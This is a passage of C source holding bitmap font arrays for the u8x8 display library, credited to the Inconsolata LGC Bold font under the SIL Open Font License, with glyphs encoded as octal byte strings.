\"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\200\\200\\201\"\n  \"\\203\\207\\7\\7\\3\\1\\0\\0\\0\\1\\3\\7\\207\\207\\203\\201\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\3\\17\\17\\37\\37\\77>><>>\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\"\n  \"\\374\\374\\374x\\60\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\2\\7\\17\\17\\7\\3\\0\\0\\0\\200\\300\\300\"\n  \"\\300\\300@\\0\\0\\3\\17\\177\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\37\\377\\377\\376\\360\\300\\300\\370\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\203\\377\\377\\377\"\n  \"\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37>><>>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\377\\377\\376\\374\\360\\300\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\377\\377\\377\\377\\377\\17\\37\\36\\36><>>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\177\\177\\177\"\n  \"\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\"\n  \"\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\200\\200\\200\\201\\203\\207\\7\\7\\3\\1\\0\\0\\0\\1\\3\\7\\7\\7\\203\\201\"\n  \"\\200\\200\\200\\0\\0\\7\\37\\177\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\3\\17\\77\\377\\377\\376\\360\\300\\200\\340\\374\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\337\\377\\377\"\n  \"\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0>\\77~||||~\\77\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb33_3x6_r[13684] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_r\") = \n  \" ~\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\17\\217\\217\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\37\\77\\77\\77\"\n  \"\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\376\\377\\377\\377\\217\\200\\200\\200\\200\\377\\377\\377\\377\\203\"\n  \"\\200\\200\\200\\200\\7\\7\\7\\7\\7\\377\\377\\377\\377\\17\\3\\3\\3\\203\\377\\377\\377\\377\\7\\7\\7\\7\\7\\0<<<<\"\n  \"\\374\\377\\377\\377\\77<<<<\\377\\377\\377\\377\\77<<<<\\14\\0\\0\\0\\0x\\177\\177\\177\\37\\0\\0\\0\\0\"\n  \"\\177\\177\\177\\177\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\360\\360\\360\\360\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\"\n  \"\\374\\376\\377\\37\\17\\7\\377\\377\\377\\377\\7\\17\\17\\37\\177>\\34\\10\\0\\0\\0\\0\\1\\7\\17\\37\\37\\77>|\\377\\377\"\n  \"\\377\\377\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\377\\377\\377\\377\\1\\1\\203\\307\\377\\377\"\n  \"\\377\\377~\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\36\\377\\377\\377\\377\\36\\17\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300@\\0\\0\\377\\377\\377\\307\\307\\307\\307\\377\\377\\377\\377|\\200\\340\\370\\374\\377\\77\\37\\7\"\n  \"\\1\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\303\\363\\375\\376\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\340\\370\\376\\377\\77\\17\\3\\361\\374\\376\\376\\37\\37\\37\\37\\376\\376\\374\\360\\0\\60<\\77\\77\\37\\7\\1\\0\\0\\0\\0\\3\"\n  \"\\17\\37\\37>>>>\\37\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\376\\377\\377\\377\\17\\7\\3\\7\\17\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\303\\357\\377\\377\\177\\374\\370\\374\"\n  \"\\377\\337\\17\\7\\3\\0\\0\\200\\200\\200\\0\\0\\370\\376\\377\\377\\377\\207\\1\\0\\0\\0\\1\\7\\17\\277\\377\\376\\374\\370\\374\\377\"\n  \"\\377\\77\\17\\6\\1\\7\\17\\37\\37\\37>>>>>>\\37\\37\\17\\17\\7\\7\\17\\77\\77\\37\\34\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360\"\n  \"\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\360\\370xx`\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\370\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77\\36\\14\\0\\0\\0\\0\\0\\300\\360\\360\\340\\340\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\37\\77\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\"\n  \"\\377\\177\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0<|>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70>><|xxp\\360\\377\\377\\377\"\n  \"\\377\\361pxx|<<>\\70 \\0\\0\\0@\\340\\360\\370\\376\\177\\77\\17\\7\\3\\17\\37\\177\\376\\374\\370\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0xxxxxxxxx\\377\\377\\377\\377\\377xxxxxxxx\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0 \\60x~\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\360\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\340\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`x\\376\\377\\177\\37\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \"\\376\\377\\177\\37\\17\\7\\7\\7\\7\\17\\337\\377\\377\\376\\374\\360\\300\\0\\0\\0\\376\\377\\377\\377\\377\\3\\0\\0\\200\\340\\360\\370\"\n  \"~\\37\\17\\7\\1\\377\\377\\377\\377\\376\\0\\0\\7\\77\\377\\377\\377\\370\\374\\237\\17\\7\\1\\0\\0\\0\\0\\300\\370\\377\\377\\377\"\n  \"\\177\\7\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>>>>>\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\36\\36\\17\\17\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\"\n  \">\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\340\\370\\374\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77\\77=<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\37\\377\\377\\376\\374\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0xx||||\\374\\376\\377\\377\\377\\347\\303\\201\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\376\\0\\0\\0\\0\\6\\17\\17\\37\\37>>>>>>\"\n  \">>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<\\377\\377\\377\\377\\377<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\60\\177\\177\\377\\77\\77\\36\\37\\37\\37\\37\\37\\37>\\376\\374\\374\\370\\340\\200\\0\\0\\0\\0\\200\\300\"\n  \"\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\3\\7\\17\\37\\37\\37>>><\"\n  \">>>\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\377\\77\\17\\7\\7\\7\\3\\7\\7\\7\\17\\17\\7\\2\\2\\0\\0\\0\\0\\377\\377\\377\\377\\377\\374>>\\37\\37\\17\"\n  \"\\37\\37\\77\\376\\376\\374\\370\\340\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>><>>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\363\\377\\377\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\77\\77\\77\\77\\17\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\"\n  \"\\376\\377\\377\\17\\7\\7\\7\\3\\7\\7\\17\\37\\377\\377\\377\\374\\370\\0\\0\\0\\0\\0\\1\\203\\317\\317\\377\\377\\376|xx\"\n  \"x\\370\\374\\377\\377\\317\\307\\203\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\307\\1\\0\\0\\0\\0\\0\\0\\1\\1\\207\\377\\377\\377\"\n  \"\\376\\374\\0\\0\\0\\0\\3\\7\\17\\37\\37\\37>>><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\7\\7\\7\\7\\7\\7\\37\\177\\377\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\17\\77\\177\\377\\377\\370\\360\\340\\300\\300\\300\\300\\340\\340\\360\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\201\\3\\3\\3\\3\\3\\3\\3\\3\\201\\361\\377\\377\\377\\177\\17\\0\\0\\0\\0\\4\\16\\17\\37\\37>>><>>\"\n  \">\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>\\177\\177\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376\"\n  \"\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\60|\\77\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  